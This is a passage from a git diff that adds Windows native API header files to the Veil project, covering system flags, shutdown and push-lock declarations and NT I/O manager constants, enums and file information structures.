\ + FLG_HEAP_VALIDATE_PARAMETERS | \ + FLG_HEAP_VALIDATE_ALL | \ + FLG_APPLICATION_VERIFIER | \ + FLG_HEAP_ENABLE_TAGGING | \ + FLG_USER_STACK_TRACE_DB | \ + FLG_HEAP_ENABLE_TAG_BY_DLL | \ + FLG_DISABLE_STACK_EXTENSION | \ + FLG_ENABLE_SYSTEM_CRIT_BREAKS | \ + FLG_HEAP_DISABLE_COALESCING | \ + FLG_DISABLE_PROTDLLS | \ + FLG_HEAP_PAGE_ALLOCS | \ + FLG_CRITSEC_EVENT_CREATION | \ + FLG_LDR_TOP_DOWN) + +#define FLG_BOOTONLY_VALID_BITS (FLG_KERNEL_STACK_TRACE_DB | \ + FLG_MAINTAIN_OBJECT_TYPELIST | \ + FLG_ENABLE_CSRDEBUG | \ + FLG_DEBUG_INITIAL_COMMAND | \ + FLG_DEBUG_INITIAL_COMMAND_EX | \ + FLG_DISABLE_PAGE_KERNEL_STACKS) + +#define FLG_KERNELMODE_VALID_BITS (FLG_STOP_ON_EXCEPTION | \ + FLG_SHOW_LDR_SNAPS | \ + FLG_STOP_ON_HUNG_GUI | \ + FLG_POOL_ENABLE_TAGGING | \ + FLG_ENABLE_KDEBUG_SYMBOL_LOAD | \ + FLG_ENABLE_CLOSE_EXCEPTIONS | \ + FLG_ENABLE_EXCEPTION_LOGGING | \ + FLG_ENABLE_HANDLE_TYPE_TAGGING | \ + FLG_DISABLE_DBGPRINT | \ + FLG_ENABLE_HANDLE_EXCEPTIONS) + +// +// Licensing +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryLicenseValue( + _In_ PUNICODE_STRING ValueName, + _Out_opt_ PULONG Type, + _Out_writes_bytes_to_opt_(DataSize, *ResultDataSize) PVOID Data, + _In_ ULONG DataSize, + _Out_ PULONG ResultDataSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryLicenseValue( + _In_ PUNICODE_STRING ValueName, + _Out_opt_ PULONG Type, + _Out_writes_bytes_to_opt_(DataSize, *ResultDataSize) PVOID Data, + _In_ ULONG DataSize, + _Out_ PULONG ResultDataSize +); + +// +// Misc. +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDefaultHardErrorPort( + _In_ HANDLE DefaultHardErrorPort +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetDefaultHardErrorPort( + _In_ HANDLE DefaultHardErrorPort +); + +typedef enum _SHUTDOWN_ACTION +{ + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff +} SHUTDOWN_ACTION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtShutdownSystem( + _In_ SHUTDOWN_ACTION Action +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwShutdownSystem( + _In_ SHUTDOWN_ACTION Action +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDisplayString( + _In_ PUNICODE_STRING String +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDisplayString( + _In_ PUNICODE_STRING String +); + +// +// Boot graphics +// + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDrawText( + _In_ PUNICODE_STRING Text +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDrawText( + _In_ PUNICODE_STRING Text +); +#endif + +// +// Executive +// + +#ifdef _KERNEL_MODE + +// Exception + +NTSYSAPI +int +ExSystemExceptionFilter( + VOID +); + +// Fast Mutex + +NTSYSAPI +VOID +FASTCALL +ExEnterCriticalRegionAndAcquireFastMutexUnsafe( + _Inout_ PFAST_MUTEX FastMutex +); + +// Push Lock + +NTSYSAPI +VOID +FASTCALL +ExfAcquirePushLockExclusive( + _Inout_ PEX_PUSH_LOCK PushLock +); + +NTSYSAPI +VOID +FASTCALL +ExfReleasePushLockExclusive( + _Inout_ PEX_PUSH_LOCK PushLock +); + +NTSYSAPI +VOID +FASTCALL +ExfAcquirePushLockShared( + _Inout_ PEX_PUSH_LOCK PushLock +); + +NTSYSAPI +VOID +FASTCALL +ExfReleasePushLockShared( + _Inout_ PEX_PUSH_LOCK PushLock +); + +NTSYSAPI +BOOLEAN +FASTCALL +ExfTryAcquirePushLockShared( + _Inout_ PEX_PUSH_LOCK PushLock +); + +NTSYSAPI +VOID +FASTCALL +ExfTryToWakePushLock( + _Inout_ PEX_PUSH_LOCK PushLock +); + +NTSYSAPI +VOID +FASTCALL +ExfReleasePushLock( + _Inout_ PEX_PUSH_LOCK PushLock +); + +// Cache Aware Push Lock + +#define EX_CACHE_LINE_SIZE (128) +#define EX_PUSH_LOCK_FANNED_COUNT (PAGE_SIZE/EX_CACHE_LINE_SIZE) + +typedef struct EX_PUSH_LOCK_CACHE_AWARE +{ + PEX_PUSH_LOCK Locks[EX_PUSH_LOCK_FANNED_COUNT]; +}*PEX_PUSH_LOCK_CACHE_AWARE; + +NTSYSAPI +PEX_PUSH_LOCK_CACHE_AWARE +NTAPI +ExAllocateCacheAwarePushLock( + VOID +); + +NTSYSAPI +VOID +NTAPI +ExFreeCacheAwarePushLock( + _Inout_ PEX_PUSH_LOCK_CACHE_AWARE PushLock +); + +NTSYSAPI +VOID +NTAPI +ExAcquireCacheAwarePushLockExclusive( + _Inout_ PEX_PUSH_LOCK_CACHE_AWARE CacheAwarePushLock +); + +NTSYSAPI +VOID +NTAPI +ExReleaseCacheAwarePushLockExclusive( + _Inout_ PEX_PUSH_LOCK_CACHE_AWARE CacheAwarePushLock +); + +#endif // _KERNEL_MODE + + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.IOManager.h b/include/Veil/Veil/Veil.System.IOManager.h new file mode 100644 index 0000000..66b76b5 --- /dev/null +++ b/include/Veil/Veil/Veil.System.IOManager.h @@ -0,0 +1,3060 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#ifndef _KERNEL_MODE +// Create disposition + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +// Create/open flags + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 +#if (NTDDI_VERSION >= NTDDI_WIN7) +#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000 +#define FILE_DISALLOW_EXCLUSIVE 0x00020000 +#endif +#if (NTDDI_VERSION >= NTDDI_WIN8) +#define FILE_SESSION_AWARE 0x00040000 +#endif + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +// I/O status information values for NtCreateFile/NtOpenFile + +#define FILE_SUPERSEDED 0x00000000 +#define FILE_OPENED 0x00000001 +#define FILE_CREATED 0x00000002 +#define FILE_OVERWRITTEN 0x00000003 +#define FILE_EXISTS 0x00000004 +#define FILE_DOES_NOT_EXIST 0x00000005 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// +// Define the QueryFlags values for NtQueryDirectoryFileEx. +// + +#define FILE_QUERY_RESTART_SCAN 0x00000001 +#define FILE_QUERY_RETURN_SINGLE_ENTRY 0x00000002 +#define FILE_QUERY_INDEX_SPECIFIED 0x00000004 +#define FILE_QUERY_RETURN_ON_DISK_ENTRIES_ONLY 0x00000008 +#endif +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) +#define FILE_QUERY_NO_CURSOR_UPDATE 0x00000010 +#endif + +// Special ByteOffset parameters + +#define FILE_WRITE_TO_END_OF_FILE 0xffffffff +#define FILE_USE_FILE_POINTER_POSITION 0xfffffffe + +// Alignment requirement values + +#define FILE_BYTE_ALIGNMENT 0x00000000 +#define FILE_WORD_ALIGNMENT 0x00000001 +#define FILE_LONG_ALIGNMENT 0x00000003 +#define FILE_QUAD_ALIGNMENT 0x00000007 +#define FILE_OCTA_ALIGNMENT 0x0000000f +#define FILE_32_BYTE_ALIGNMENT 0x0000001f +#define FILE_64_BYTE_ALIGNMENT 0x0000003f +#define FILE_128_BYTE_ALIGNMENT 0x0000007f +#define FILE_256_BYTE_ALIGNMENT 0x000000ff +#define FILE_512_BYTE_ALIGNMENT 0x000001ff + +// Maximum length of a filename string + +#define MAXIMUM_FILENAME_LENGTH 256 + +// Extended attributes + +#define FILE_NEED_EA 0x00000080 + +#define FILE_EA_TYPE_BINARY 0xfffe +#define FILE_EA_TYPE_ASCII 0xfffd +#define FILE_EA_TYPE_BITMAP 0xfffb +#define FILE_EA_TYPE_METAFILE 0xfffa +#define FILE_EA_TYPE_ICON 0xfff9 +#define FILE_EA_TYPE_EA 0xffee +#define FILE_EA_TYPE_MVMT 0xffdf +#define FILE_EA_TYPE_MVST 0xffde +#define FILE_EA_TYPE_ASN1 0xffdd +#define FILE_EA_TYPE_FAMILY_IDS 0xff01 + +// Device characteristics + +#define FILE_REMOVABLE_MEDIA 0x00000001 +#define FILE_READ_ONLY_DEVICE 0x00000002 +#define FILE_FLOPPY_DISKETTE 0x00000004 +#define FILE_WRITE_ONCE_MEDIA 0x00000008 +#define FILE_REMOTE_DEVICE 0x00000010 +#define FILE_DEVICE_IS_MOUNTED 0x00000020 +#define FILE_VIRTUAL_VOLUME 0x00000040 +#define FILE_AUTOGENERATED_DEVICE_NAME 0x00000080 +#define FILE_DEVICE_SECURE_OPEN 0x00000100 +#define FILE_CHARACTERISTIC_PNP_DEVICE 0x00000800 +#define FILE_CHARACTERISTIC_TS_DEVICE 0x00001000 +#define FILE_CHARACTERISTIC_WEBDAV_DEVICE 0x00002000 +#define FILE_CHARACTERISTIC_CSV 0x00010000 +#define FILE_DEVICE_ALLOW_APPCONTAINER_TRAVERSAL 0x00020000 +#define FILE_PORTABLE_DEVICE 0x00040000 +#define FILE_REMOTE_DEVICE_VSMB 0x00080000 +#define FILE_DEVICE_REQUIRE_SECURITY_CHECK 0x00100000 + +// Named pipe values + +// NamedPipeType for NtCreateNamedPipeFile +#define FILE_PIPE_BYTE_STREAM_TYPE 0x00000000 +#define FILE_PIPE_MESSAGE_TYPE 0x00000001 +#define FILE_PIPE_ACCEPT_REMOTE_CLIENTS 0x00000000 +#define FILE_PIPE_REJECT_REMOTE_CLIENTS 0x00000002 +#define FILE_PIPE_TYPE_VALID_MASK 0x00000003 + +// CompletionMode for NtCreateNamedPipeFile +#define FILE_PIPE_QUEUE_OPERATION 0x00000000 +#define FILE_PIPE_COMPLETE_OPERATION 0x00000001 + +// ReadMode for NtCreateNamedPipeFile +#define FILE_PIPE_BYTE_STREAM_MODE 0x00000000 +#define FILE_PIPE_MESSAGE_MODE 0x00000001 + +// NamedPipeConfiguration for NtQueryInformationFile +#define FILE_PIPE_INBOUND 0x00000000 +#define FILE_PIPE_OUTBOUND 0x00000001 +#define FILE_PIPE_FULL_DUPLEX 0x00000002 + +// NamedPipeState for NtQueryInformationFile +#define FILE_PIPE_DISCONNECTED_STATE 0x00000001 +#define FILE_PIPE_LISTENING_STATE 0x00000002 +#define FILE_PIPE_CONNECTED_STATE 0x00000003 +#define FILE_PIPE_CLOSING_STATE 0x00000004 + +// NamedPipeEnd for NtQueryInformationFile +#define FILE_PIPE_CLIENT_END 0x00000000 +#define FILE_PIPE_SERVER_END 0x00000001 + +#endif // !_KERNEL_MODE + +// Win32 pipe instance limit (0xff) +#define FILE_PIPE_UNLIMITED_INSTANCES 0xffffffff + +// Mailslot values + +#define MAILSLOT_SIZE_AUTO 0 + +// private +typedef struct _FILE_IO_COMPLETION_INFORMATION +{ + PVOID KeyContext; + PVOID ApcContext; + IO_STATUS_BLOCK IoStatusBlock; +} FILE_IO_COMPLETION_INFORMATION, * PFILE_IO_COMPLETION_INFORMATION; + +#ifndef _KERNEL_MODE +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, // FILE_DIRECTORY_INFORMATION + FileFullDirectoryInformation, // FILE_FULL_DIR_INFORMATION + FileBothDirectoryInformation, // FILE_BOTH_DIR_INFORMATION + FileBasicInformation, // FILE_BASIC_INFORMATION + FileStandardInformation, // FILE_STANDARD_INFORMATION + FileInternalInformation, // FILE_INTERNAL_INFORMATION + FileEaInformation, // FILE_EA_INFORMATION + FileAccessInformation, // FILE_ACCESS_INFORMATION + FileNameInformation, // FILE_NAME_INFORMATION + FileRenameInformation, // FILE_RENAME_INFORMATION // 10 + FileLinkInformation, // FILE_LINK_INFORMATION + FileNamesInformation, // FILE_NAMES_INFORMATION + FileDispositionInformation, // FILE_DISPOSITION_INFORMATION + FilePositionInformation, // FILE_POSITION_INFORMATION + FileFullEaInformation, // FILE_FULL_EA_INFORMATION + FileModeInformation, // FILE_MODE_INFORMATION + FileAlignmentInformation, // FILE_ALIGNMENT_INFORMATION + FileAllInformation, // FILE_ALL_INFORMATION + FileAllocationInformation, // FILE_ALLOCATION_INFORMATION + FileEndOfFileInformation, // FILE_END_OF_FILE_INFORMATION // 20 + FileAlternateNameInformation, // FILE_NAME_INFORMATION + FileStreamInformation, // FILE_STREAM_INFORMATION + FilePipeInformation, // FILE_PIPE_INFORMATION + FilePipeLocalInformation, // FILE_PIPE_LOCAL_INFORMATION + FilePipeRemoteInformation, // FILE_PIPE_REMOTE_INFORMATION + FileMailslotQueryInformation, // FILE_MAILSLOT_QUERY_INFORMATION + FileMailslotSetInformation, // FILE_MAILSLOT_SET_INFORMATION + FileCompressionInformation, // FILE_COMPRESSION_INFORMATION + FileObjectIdInformation, // FILE_OBJECTID_INFORMATION + FileCompletionInformation, // FILE_COMPLETION_INFORMATION // 30 + FileMoveClusterInformation, // FILE_MOVE_CLUSTER_INFORMATION + FileQuotaInformation, // FILE_QUOTA_INFORMATION + FileReparsePointInformation, // FILE_REPARSE_POINT_INFORMATION + FileNetworkOpenInformation, // FILE_NETWORK_OPEN_INFORMATION + FileAttributeTagInformation, // FILE_ATTRIBUTE_TAG_INFORMATION + FileTrackingInformation, // FILE_TRACKING_INFORMATION + FileIdBothDirectoryInformation, // FILE_ID_BOTH_DIR_INFORMATION + FileIdFullDirectoryInformation, // FILE_ID_FULL_DIR_INFORMATION + FileValidDataLengthInformation, // FILE_VALID_DATA_LENGTH_INFORMATION + FileShortNameInformation, // FILE_NAME_INFORMATION // 40 + FileIoCompletionNotificationInformation, // FILE_IO_COMPLETION_NOTIFICATION_INFORMATION // since VISTA + FileIoStatusBlockRangeInformation, // FILE_IOSTATUSBLOCK_RANGE_INFORMATION + FileIoPriorityHintInformation, // FILE_IO_PRIORITY_HINT_INFORMATION, FILE_IO_PRIORITY_HINT_INFORMATION_EX + FileSfioReserveInformation, // FILE_SFIO_RESERVE_INFORMATION + FileSfioVolumeInformation, // FILE_SFIO_VOLUME_INFORMATION + FileHardLinkInformation, // FILE_LINKS_INFORMATION + FileProcessIdsUsingFileInformation, // FILE_PROCESS_IDS_USING_FILE_INFORMATION + FileNormalizedNameInformation, // FILE_NAME_INFORMATION + FileNetworkPhysicalNameInformation, // FILE_NETWORK_PHYSICAL_NAME_INFORMATION + FileIdGlobalTxDirectoryInformation, // FILE_ID_GLOBAL_TX_DIR_INFORMATION // since WIN7 // 50 + FileIsRemoteDeviceInformation, // FILE_IS_REMOTE_DEVICE_INFORMATION + FileUnusedInformation, + FileNumaNodeInformation, // FILE_NUMA_NODE_INFORMATION + FileStandardLinkInformation, // FILE_STANDARD_LINK_INFORMATION + FileRemoteProtocolInformation, // FILE_REMOTE_PROTOCOL_INFORMATION + FileRenameInformationBypassAccessCheck, // (kernel-mode only); FILE_RENAME_INFORMATION // since WIN8 + FileLinkInformationBypassAccessCheck, // (kernel-mode only); FILE_LINK_INFORMATION + FileVolumeNameInformation, // FILE_VOLUME_NAME_INFORMATION + FileIdInformation, // FILE_ID_INFORMATION + FileIdExtdDirectoryInformation, // FILE_ID_EXTD_DIR_INFORMATION // 60 + FileReplaceCompletionInformation, // FILE_COMPLETION_INFORMATION // since WINBLUE + FileHardLinkFullIdInformation, // FILE_LINK_ENTRY_FULL_ID_INFORMATION // FILE_LINKS_FULL_ID_INFORMATION + FileIdExtdBothDirectoryInformation, // FILE_ID_EXTD_BOTH_DIR_INFORMATION // since THRESHOLD + FileDispositionInformationEx, // FILE_DISPOSITION_INFO_EX // since REDSTONE + FileRenameInformationEx, // FILE_RENAME_INFORMATION_EX + FileRenameInformationExBypassAccessCheck, // (kernel-mode only); FILE_RENAME_INFORMATION_EX + FileDesiredStorageClassInformation, // FILE_DESIRED_STORAGE_CLASS_INFORMATION // since REDSTONE2 + FileStatInformation, // FILE_STAT_INFORMATION + FileMemoryPartitionInformation, // FILE_MEMORY_PARTITION_INFORMATION // since REDSTONE3 + FileStatLxInformation, // FILE_STAT_LX_INFORMATION // since REDSTONE4 // 70 + FileCaseSensitiveInformation, // FILE_CASE_SENSITIVE_INFORMATION + FileLinkInformationEx, // FILE_LINK_INFORMATION_EX // since REDSTONE5 + FileLinkInformationExBypassAccessCheck, // (kernel-mode only); FILE_LINK_INFORMATION_EX + FileStorageReserveIdInformation, // FILE_SET_STORAGE_RESERVE_ID_INFORMATION + FileCaseSensitiveInformationForceAccessCheck, // FILE_CASE_SENSITIVE_INFORMATION + FileKnownFolderInformation, // FILE_KNOWN_FOLDER_INFORMATION // since WIN11 + FileMaximumInformation +} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; + +// NtQueryInformationFile/NtSetInformationFile types + +typedef struct _FILE_BASIC_INFORMATION +{ + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, * PFILE_BASIC_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_INFORMATION, * PFILE_STANDARD_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION_EX +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; + BOOLEAN AlternateStream; + BOOLEAN MetadataAttribute; +} FILE_STANDARD_INFORMATION_EX, * PFILE_STANDARD_INFORMATION_EX; + +typedef struct _FILE_INTERNAL_INFORMATION +{ + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, * PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION +{ + ULONG EaSize; +} FILE_EA_INFORMATION, * PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION +{ + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, * PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION +{ + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, * PFILE_POSITION_INFORMATION; + +typedef struct _FILE_MODE_INFORMATION +{ + ULONG Mode; +} FILE_MODE_INFORMATION, * PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION +{ + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, * PFILE_ALIGNMENT_INFORMATION; + +typedef struct _FILE_NAME_INFORMATION +{ + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, * PFILE_NAME_INFORMATION; + +typedef struct _FILE_ALL_INFORMATION +{ + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, * PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION +{ + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, * PFILE_NETWORK_OPEN_INFORMATION; + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION +{ + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, * PFILE_ATTRIBUTE_TAG_INFORMATION; + +typedef struct _FILE_ALLOCATION_INFORMATION +{ + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, * PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION +{ + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, * PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION +{ + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION; + +typedef struct _FILE_END_OF_FILE_INFORMATION +{ + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, * PFILE_END_OF_FILE_INFORMATION; + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) +#define FLAGS_END_OF_FILE_INFO_EX_EXTEND_PAGING 0x00000001 +#define FLAGS_END_OF_FILE_INFO_EX_NO_EXTRA_PAGING_EXTEND 0x00000002 +#define FLAGS_END_OF_FILE_INFO_EX_TIME_CONSTRAINED 0x00000004 +#define FLAGS_DELAY_REASONS_LOG_FILE_FULL 0x00000001 +#define FLAGS_DELAY_REASONS_BITMAP_SCANNED 0x00000002 + +typedef struct _FILE_END_OF_FILE_INFORMATION_EX +{ + LARGE_INTEGER EndOfFile; + LARGE_INTEGER PagingFileSizeInMM; + LARGE_INTEGER PagingFileMaxSize; + ULONG Flags; +} FILE_END_OF_FILE_INFORMATION_EX, * PFILE_END_OF_FILE_INFORMATION_EX; +#endif + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION +{ + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, * PFILE_VALID_DATA_LENGTH_INFORMATION; + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) +#define FILE_LINK_REPLACE_IF_EXISTS 0x00000001 +#define FILE_LINK_POSIX_SEMANTICS 0x00000002 + +#define FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE 0x00000008 +#define FILE_LINK_NO_INCREASE_AVAILABLE_SPACE 0x00000010 +#define FILE_LINK_NO_DECREASE_AVAILABLE_SPACE 0x00000020 +#define FILE_LINK_PRESERVE_AVAILABLE_SPACE 0x00000030 +#define FILE_LINK_IGNORE_READONLY_ATTRIBUTE 0x00000040 +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_19H1) +#define FILE_LINK_FORCE_RESIZE_TARGET_SR 0x00000080 +#define FILE_LINK_FORCE_RESIZE_SOURCE_SR 0x00000100 +#define FILE_LINK_FORCE_RESIZE_SR 0x00000180 +#endif + +typedef struct _FILE_LINK_INFORMATION +{ +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) + union + { + BOOLEAN ReplaceIfExists; // FileLinkInformation + ULONG Flags; // FileLinkInformationEx + }; +#else + BOOLEAN ReplaceIfExists; +#endif + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, * PFILE_LINK_INFORMATION; + +typedef struct _FILE_LINK_INFORMATION_EX +{ + ULONG Flags; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION_EX, * PFILE_LINK_INFORMATION_EX; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION +{ + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, * PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION +{ + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION; + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +#define FILE_RENAME_REPLACE_IF_EXISTS 0x00000001 +#define FILE_RENAME_POSIX_SEMANTICS 0x00000002 +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +#define FILE_RENAME_SUPPRESS_PIN_STATE_INHERITANCE 0x00000004 +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) +#define FILE_RENAME_SUPPRESS_STORAGE_RESERVE_INHERITANCE 0x00000008 +#define FILE_RENAME_NO_INCREASE_AVAILABLE_SPACE 0x00000010 +#define FILE_RENAME_NO_DECREASE_AVAILABLE_SPACE 0x00000020 +#define FILE_RENAME_PRESERVE_AVAILABLE_SPACE 0x00000030 +#define FILE_RENAME_IGNORE_READONLY_ATTRIBUTE 0x00000040 +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_19H1) +#define FILE_RENAME_FORCE_RESIZE_TARGET_SR 0x00000080 +#define FILE_RENAME_FORCE_RESIZE_SOURCE_SR 0x00000100 +#define FILE_RENAME_FORCE_RESIZE_SR 0x00000180 +#endif + +typedef struct _FILE_RENAME_INFORMATION_EX +{ + ULONG Flags; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION_EX, * PFILE_RENAME_INFORMATION_EX; + +typedef struct _FILE_STREAM_INFORMATION +{ + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, * PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION +{ + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, * PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION +{ + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, * PFILE_COMPLETION_INFORMATION; + +typedef struct _FILE_PIPE_INFORMATION +{ + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, * PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION +{ + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, * 